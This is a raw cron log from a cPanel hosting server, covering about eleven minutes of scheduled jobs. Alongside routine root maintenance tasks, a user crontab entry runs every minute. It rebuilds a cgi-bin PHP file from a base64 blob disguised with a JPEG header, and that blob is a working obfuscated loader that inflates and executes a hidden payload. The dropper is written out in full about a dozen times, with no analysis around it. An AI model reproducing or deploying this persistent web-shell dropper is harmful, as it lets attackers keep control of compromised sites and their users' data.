Sep  5 17:58:01 server CROND[4957]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:58:01 server CROND[4958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:58:01 server CROND[4959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:59:01 server CROND[5424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:59:01 server CROND[5425]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:59:01 server CROND[5426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:00:01 server CROND[5810]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 18:00:01 server CROND[5812]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  5 18:00:01 server CROND[5825]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 18:00:01 server CROND[5834]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 18:00:01 server CROND[5838]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  5 18:00:01 server CROND[5839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:00:01 server CROND[5843]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 18:00:01 server CROND[5840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:00:01 server CROND[5837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:00:01 server CROND[5842]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 18:01:01 server CROND[6682]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 18:01:01 server CROND[6681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:01:01 server CROND[6683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:01:01 server CROND[6684]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:01:01 server run-parts(/etc/cron.hourly)[6682]: starting 0anacron
Sep  5 18:01:01 server run-parts(/etc/cron.hourly)[6705]: finished 0anacron
Sep  5 18:02:01 server CROND[7110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:02:01 server CROND[7111]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:02:01 server CROND[7112]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:03:02 server CROND[7517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:03:02 server CROND[7518]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:03:02 server CROND[7519]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:04:01 server CROND[7978]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:04:01 server CROND[7980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:04:01 server CROND[7979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:05:01 server CROND[8364]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 18:05:01 server CROND[8368]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 18:05:01 server CROND[8376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:05:01 server CROND[8379]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 18:05:01 server CROND[8380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:05:01 server CROND[8387]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 18:05:01 server CROND[8386]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:05:01 server CROND[8382]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 18:06:01 server CROND[9253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:06:01 server CROND[9254]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:06:01 server CROND[9255]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:07:01 server CROND[9690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:07:01 server CROND[9691]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:07:01 server CROND[9692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:08:01 server CROND[10057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:08:01 server CROND[10059]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:08:01 server CROND[10058]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:09:01 server CROND[10525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:09:01 server CROND[10526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:09:01 server CROND[10527]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 18:09:01 server CROND[10528]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
